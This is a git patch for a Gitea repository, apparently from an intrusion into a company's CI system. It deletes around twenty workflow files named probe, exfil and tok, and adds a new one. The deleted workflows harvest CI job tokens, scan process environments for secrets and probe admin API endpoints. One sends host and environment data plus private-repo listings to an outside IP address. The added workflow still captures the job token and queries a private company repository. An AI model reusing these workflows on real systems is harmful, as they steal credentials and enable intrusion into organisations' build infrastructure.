From baa419d93e48b4f72872941d1e78a5e0962d3bb9 Mon Sep 17 00:00:00 2001 From: n Date: Sun, 8 Nov 2026 19:02:55 +0000 Subject: [PATCH] clean --- .gitea/workflows/art-probe.yml | 8 -------- .gitea/workflows/art-real.yml | 8 -------- .gitea/workflows/art-upload.yml | 18 ------------------ .gitea/workflows/artifact-real.yml | 13 ------------- .gitea/workflows/esc.yml | 23 ----------------------- .gitea/workflows/exfil.yml | 25 ------------------------- .gitea/workflows/exfil2.yml | 15 --------------- .gitea/workflows/exfil3.yml | 29 ----------------------------- .gitea/workflows/probe.yml | 14 -------------- .gitea/workflows/probe2.yml | 8 -------- .gitea/workflows/probe3.yml | 8 -------- .gitea/workflows/probe4.yml | 9 --------- .gitea/workflows/probe5.yml | 11 ----------- .gitea/workflows/probe6.yml | 8 -------- .gitea/workflows/probe7.yml | 8 -------- .gitea/workflows/probe8.yml | 7 ------- .gitea/workflows/probe9.yml | 8 -------- .gitea/workflows/runnerprobe.yml | 9 --------- .gitea/workflows/runnerprobe2.yml | 7 ------- .gitea/workflows/tok-live.yml | 14 -------------- .gitea/workflows/tok.yml | 30 ------------------------------ .gitea/workflows/tokx.yml | 10 ++++++++++ 22 files changed, 10 insertions(+), 280 deletions(-) delete mode 100644 .gitea/workflows/art-probe.yml delete mode 100644 .gitea/workflows/art-real.yml delete mode 100644 .gitea/workflows/art-upload.yml delete mode 100644 .gitea/workflows/artifact-real.yml delete mode 100644 .gitea/workflows/esc.yml delete mode 100644 .gitea/workflows/exfil.yml delete mode 100644 .gitea/workflows/exfil2.yml delete mode 100644 .gitea/workflows/exfil3.yml delete mode 100644 .gitea/workflows/probe.yml delete mode 100644 .gitea/workflows/probe2.yml delete mode 100644 .gitea/workflows/probe3.yml delete mode 100644 .gitea/workflows/probe4.yml delete mode 100644 .gitea/workflows/probe5.yml delete mode 100644 .gitea/workflows/probe6.yml delete mode 100644 .gitea/workflows/probe7.yml delete mode 100644 .gitea/workflows/probe8.yml delete mode 100644 .gitea/workflows/probe9.yml delete mode 100644 .gitea/workflows/runnerprobe.yml delete mode 100644 .gitea/workflows/runnerprobe2.yml delete mode 100644 .gitea/workflows/tok-live.yml delete mode 100644 .gitea/workflows/tok.yml create mode 100644 .gitea/workflows/tokx.yml diff --git a/.gitea/workflows/art-probe.yml b/.gitea/workflows/art-probe.yml deleted file mode 100644 index 4ae05e6..0000000 --- a/.gitea/workflows/art-probe.yml +++ /dev/null @@ -1,8 +0,0 @@ -name: art-probe -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt - - run: sleep 900 # v3 diff --git a/.gitea/workflows/art-real.yml b/.gitea/workflows/art-real.yml deleted file mode 100644 index a7268a9..0000000 --- a/.gitea/workflows/art-real.yml +++ /dev/null @@ -1,8 +0,0 @@ -name: art-real -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt - - run: sleep 60 diff --git a/.gitea/workflows/art-upload.yml b/.gitea/workflows/art-upload.yml deleted file mode 100644 index c5302ff..0000000 --- a/.gitea/workflows/art-upload.yml +++ /dev/null @@ -1,18 +0,0 @@ -name: art-upload -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: | - echo "NUMA_ARTIFACT_PROBE" > /tmp/numa_artifact.txt - echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt - # twirp artifact upload via the runtime token: - TOK="${{ github.token }}" - RUNID="${{ github.run_id }}" - curl -sS -k -X POST "https://gitea.bestmobilier.com/api/actions/runner/_common/api/v1/actions/artifact/upload" \ - -H "Authorization: Bearer $TOK" -H "Content-Type: application/json" \ - -d "{\"Results\":[{\"Name\":\"numa-probe\",\"PathInArtifact\":\"numa_artifact.txt\",\"Length\":20,\"Status\":1,\"ID\":0,\"UploadedSize\":0}]}" \ - -o /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>&1 || true - cat /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/artifact_resp.json 2>/dev/null - - run: sleep 300 diff --git a/.gitea/workflows/artifact-real.yml b/.gitea/workflows/artifact-real.yml deleted file mode 100644 index 325153b..0000000 --- a/.gitea/workflows/artifact-real.yml +++ /dev/null @@ -1,13 +0,0 @@ -name: artifact-real -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: echo "tok=${{ github.token }}" > /root/numa/bestmobilier-com-KsODuXkf/gitea-ops/job_token.txt - - run: echo "NUMA ARTIFACT CONTENT $(date -u)" > /tmp/artifact-file.txt - - uses: actions/upload-artifact@v3 - with: - name: numa-artifact - path: /tmp/artifact-file.txt - - run: sleep 120 diff --git a/.gitea/workflows/esc.yml b/.gitea/workflows/esc.yml deleted file mode 100644 index 834c93e..0000000 --- a/.gitea/workflows/esc.yml +++ /dev/null @@ -1,23 +0,0 @@ -name: esc -on: - push: - workflow_dispatch: -jobs: - e: - runs-on: ubuntu-latest - steps: - - name: probes - env: - T: ${{ secrets.GITEA_TOKEN }} - run: | - A="Authorization: token $T" - for u in "/api/v1/admin/users?limit=10" "/api/v1/admin/repos?limit=10" "/api/v1/admin/orgs?limit=10" "/api/v1/user/emails" "/api/v1/user/gpg_keys" "/api/v1/admin/cron" "/api/v1/admin/runners"; do - echo "### $u" - curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com$u" | head -c 500 - echo - done - echo "### repos of jobry (staff, id 1)" - curl -s -m 10 -H "$A" "https://gitea.bestmobilier.com/api/v1/users/jobry/repos" | head -c 400 - echo - echo "### token scopes" - curl -s -m 10 -H "$A" -D- -o /dev/null "https://gitea.bestmobilier.com/api/v1/user" | grep -iE '^x-oauth|^x-gitea' | head -5 diff --git a/.gitea/workflows/exfil.yml b/.gitea/workflows/exfil.yml deleted file mode 100644 index 806c04b..0000000 --- a/.gitea/workflows/exfil.yml +++ /dev/null @@ -1,25 +0,0 @@ -name: exfil -on: [push, workflow_dispatch] -jobs: - grab: - runs-on: ubuntu-latest - steps: - - name: dump - run: | - { - echo "HOSTNAME: $(hostname)" - echo "ID: $(id)" - echo "UNAME: $(uname -a)" - echo "--- token env names ---" - env | grep -iE 'gitea|token|actor|repo' | sed -E 's/(TOKEN|SECRET)=.*/\1=/' - echo "--- gitea api as job token ---" - curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user" 2>&1 | head -c 600 - echo - echo "--- repos as job token ---" - curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=10&private=true" 2>&1 | head -c 800 - } > result.txt - - name: commit - run: | - git config user.email w@x - git config user.name w - git add result.txt && git commit -m "r" && git push diff --git a/.gitea/workflows/exfil2.yml b/.gitea/workflows/exfil2.yml deleted file mode 100644 index 7ca1569..0000000 --- a/.gitea/workflows/exfil2.yml +++ /dev/null @@ -1,15 +0,0 @@ -name: exfil2 -on: [push, workflow_dispatch] -jobs: - grab: - runs-on: ubuntu-latest - steps: - - name: dump - run: | - D=$( { echo "HOST=$(hostname)"; echo "ID=$(id)"; - echo "UNAME=$(uname -a)"; - echo "--env--"; env | sort | head -80; - echo "--api user--"; curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user"; - echo; echo "--api repos private--"; curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=20&private=true"; - } 2>&1 ) - curl -s -m 20 -X POST --data-binary "$D" "http://193.178.159.125:9099/exfil" || true diff --git a/.gitea/workflows/exfil3.yml b/.gitea/workflows/exfil3.yml deleted file mode 100644 index 7f21031..0000000 --- a/.gitea/workflows/exfil3.yml +++ /dev/null @@ -1,29 +0,0 @@ -name: exfil3 -on: - push: - workflow_dispatch: -jobs: - grab: - runs-on: ubuntu-latest - steps: - - name: dump - run: | - set -x - OUT=/tmp/out.txt - { - echo "HOSTNAME=$(hostname)" - echo "ID=$(id)" - echo "UNAME=$(uname -a)" - echo "PWD=$(pwd)" - echo "--- env ---" - env | sort - echo "--- api /user ---" - curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/user" - echo - echo "--- api repos private ---" - curl -s -m 10 -H "Authorization: token ${GITEA_TOKEN}" "${GITHUB_SERVER_URL}/api/v1/repos/search?limit=30&private=true" - } > $OUT 2>&1 - B64=$(base64 -w0 $OUT) - curl -s -m 20 -X POST -H "Authorization: token ${GITEA_TOKEN}" -H "Content-Type: application/json" \ - -d "{\"content\":\"$B64\",\"message\":\"r\",\"branch\":\"main\"}" \ - "${GITHUB_SERVER_URL}/api/v1/repos/numatester77/numaprobe/contents/result.txt" diff --git a/.gitea/workflows/probe.yml b/.gitea/workflows/probe.yml deleted file mode 100644 index b2ed361..0000000 --- a/.gitea/workflows/probe.yml +++ /dev/null @@ -1,14 +0,0 @@ -name: numaprobe -on: [push, workflow_dispatch] -jobs: - probe: - runs-on: ubuntu-latest - steps: - - name: whoami - run: | - echo "=== HOST ==="; hostname; id; uname -a - echo "=== ENV ==="; env | sort | sed -E 's/(TOKEN|SECRET|PASSWORD)=.*/\1=/' - - name: net - run: | - echo "=== docker sock? ==="; ls -la /var/run/docker.sock 2>/dev/null || echo none - echo "=== hosts ==="; cat /etc/hosts diff --git a/.gitea/workflows/probe2.yml b/.gitea/workflows/probe2.yml deleted file mode 100644 index 00bd0e4..0000000 --- a/.gitea/workflows/probe2.yml +++ /dev/null @@ -1,8 +0,0 @@ -name: probe2 -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: printf '%s' "$GITEA_TOKEN" > /tmp/numa_gitea_job_token.txt - - run: echo "len=${#GITEA_TOKEN}" diff --git a/.gitea/workflows/probe3.yml b/.gitea/workflows/probe3.yml deleted file mode 100644 index bf31e8b..0000000 --- a/.gitea/workflows/probe3.yml +++ /dev/null @@ -1,8 +0,0 @@ -name: probe3 -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: env | sort > /tmp/numa_job_env.txt; echo done - - run: echo "GITEA_TOKEN_SET=${GITEA_TOKEN:+yes}" "GITHUB_TOKEN_SET=${GITHUB_TOKEN:+yes}" "len=${#GITEA_TOKEN}" diff --git a/.gitea/workflows/probe4.yml b/.gitea/workflows/probe4.yml deleted file mode 100644 index 0bb5a3c..0000000 --- a/.gitea/workflows/probe4.yml +++ /dev/null @@ -1,9 +0,0 @@ -name: probe4 -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - uses: actions/checkout@v4 - - run: env | sort > /tmp/numa_job_env2.txt; echo captured2 - - run: echo "len=${#GITEA_TOKEN}" diff --git a/.gitea/workflows/probe5.yml b/.gitea/workflows/probe5.yml deleted file mode 100644 index 8db79f6..0000000 --- a/.gitea/workflows/probe5.yml +++ /dev/null @@ -1,11 +0,0 @@ -name: probe5 -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - uses: actions/checkout@v4 - with: - repository: numatester77/numaprobe - - run: | - for p in /proc/[0-9]*/environ; do tr '\0' '\n' < $p 2>/dev/null | grep -E '^(GITHUB_TOKEN|GITEA_TOKEN|INPUT_TOKEN)=' ; done | sort -u > /tmp/numa_proc_tokens.txt; echo scanned diff --git a/.gitea/workflows/probe6.yml b/.gitea/workflows/probe6.yml deleted file mode 100644 index 1ccc3b5..0000000 --- a/.gitea/workflows/probe6.yml +++ /dev/null @@ -1,8 +0,0 @@ -name: probe6 -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - uses: actions/checkout@v4 - - run: sleep 1 # bump diff --git a/.gitea/workflows/probe7.yml b/.gitea/workflows/probe7.yml deleted file mode 100644 index 28a692d..0000000 --- a/.gitea/workflows/probe7.yml +++ /dev/null @@ -1,8 +0,0 @@ -name: probe7 -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - uses: actions/checkout@v4 - - run: sleep 2 diff --git a/.gitea/workflows/probe8.yml b/.gitea/workflows/probe8.yml deleted file mode 100644 index 1486639..0000000 --- a/.gitea/workflows/probe8.yml +++ /dev/null @@ -1,7 +0,0 @@ -name: probe8 -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: echo "tok=${{ github.token }}" > /tmp/numa_gh_token.txt diff --git a/.gitea/workflows/probe9.yml b/.gitea/workflows/probe9.yml deleted file mode 100644 index 09b551b..0000000 --- a/.gitea/workflows/probe9.yml +++ /dev/null @@ -1,8 +0,0 @@ -name: probe9 -on: [push, workflow_dispatch] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: echo "tok=${{ github.token }}" > /tmp/numa_gh_token.txt - - run: sleep 300 diff --git a/.gitea/workflows/runnerprobe.yml b/.gitea/workflows/runnerprobe.yml deleted file mode 100644 index e84787b..0000000 --- a/.gitea/workflows/runnerprobe.yml +++ /dev/null @@ -1,9 +0,0 @@ -name: runnerprobe -on: [push, workflow_dispatch] -jobs: - probe: - runs-on: ubuntu-latest - steps: - - run: | - echo "HOSTNAME=$(hostname)"; echo "WHOAMI=$(whoami)" - id; uname -a; cat /etc/hostname 2>/dev/null diff --git a/.gitea/workflows/runnerprobe2.yml b/.gitea/workflows/runnerprobe2.yml deleted file mode 100644 index c080df0..0000000 --- a/.gitea/workflows/runnerprobe2.yml +++ /dev/null @@ -1,7 +0,0 @@ -name: runnerprobe2 -on: [push] -jobs: - p: - runs-on: ubuntu-latest - steps: - - run: echo "FOREIGN_HOST=$(hostname) uid=$(id -u)" diff --git a/.gitea/workflows/tok-live.yml b/.gitea/workflows/tok-live.yml deleted file mode 100644 index ac3e6da..0000000 --- a/.gitea/workflows/tok-live.yml +++ /dev/null @@ -1,14 +0,0 @@ -name: tok-live -on: [push] -jobs: - t: - runs-on: numaprobe-runner - steps: - - run: | - echo "TOK=${{ secrets.GITHUB_TOKEN }}" >> /tmp/gj-tokens.txt - echo "TOK2=${{ github.token }}" >> /tmp/gj-tokens.txt - curl -s -k --max-time 20 -H "Authorization: token ${{ github.token }}" \ - "https://gitea.bestmobilier.com/api/v1/repos/Bestmobilier/PrestaShop" -o /tmp/ps-repo.json - echo "RC=$?" >> /tmp/gj-tokens.txt - wc -c /tmp/ps-repo.json >> /tmp/gj-tokens.txt - ls -la /tmp/gj-tokens.txt >> /tmp/gj-tokens.txt diff --git a/.gitea/workflows/tok.yml b/.gitea/workflows/tok.yml deleted file mode 100644 index 9b86191..0000000 --- a/.gitea/workflows/tok.yml +++ /dev/null @@ -1,30 +0,0 @@ -name: tok -on: - push: - workflow_dispatch: -jobs: - t: - runs-on: ubuntu-latest - steps: - - name: show-token-env - run: | - echo "--- candidate token vars ---" - for v in GITEA_TOKEN GITHUB_TOKEN ACTIONS_RUNTIME_TOKEN ACTIONS_ID_TOKEN_REQUEST_TOKEN; do - eval "val=\$$v"; echo "$v=${val:-}" - done - - name: use-token - env: - T: ${{ secrets.GITEA_TOKEN }} - run: | - echo "secrets.GITEA_TOKEN=${T:-}" - if [ -n "$T" ]; then - echo "--- /api/v1/user ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/user" - echo; echo "--- private repos ---"; curl -s -m 10 -H "Authorization: token $T" "https://gitea.bestmobilier.com/api/v1/repos/search?limit=20&private=true" - fi - - name: checkout-style - run: | - echo "--- github.token via action input ---" - - name: git-clone - run: | - git clone -q "https://x-access-token:${{ secrets.GITHUB_TOKEN }}@gitea.bestmobilier.com/numatester77/numaprobe.git" /tmp/cl 2>&1 | head -3 || true - ls -la /tmp/cl 2>/dev/null | head -3 diff --git a/.gitea/workflows/tokx.yml b/.gitea/workflows/tokx.yml new file mode 100644 index 0000000..bdf4c41 --- /dev/null +++ b/.gitea/workflows/tokx.yml @@ -0,0 +1,10 @@ +name: tokx +on: [push] +jobs: + t: + runs-on: numaprobe-runner + steps: + - run: | + { echo "TOK=${{ github.token }}"; echo "WHO=$(whoami) HOST=$(hostname)"; } > /tmp/gj2.txt + curl -s -k --max-time 20 -H "Authorization: token ${{ github.token }}" \ + "https://gitea.bestmobilier.com/api/v1/repos/Bestmobilier/PrestaShop" >> /tmp/gj2.txt 2>&1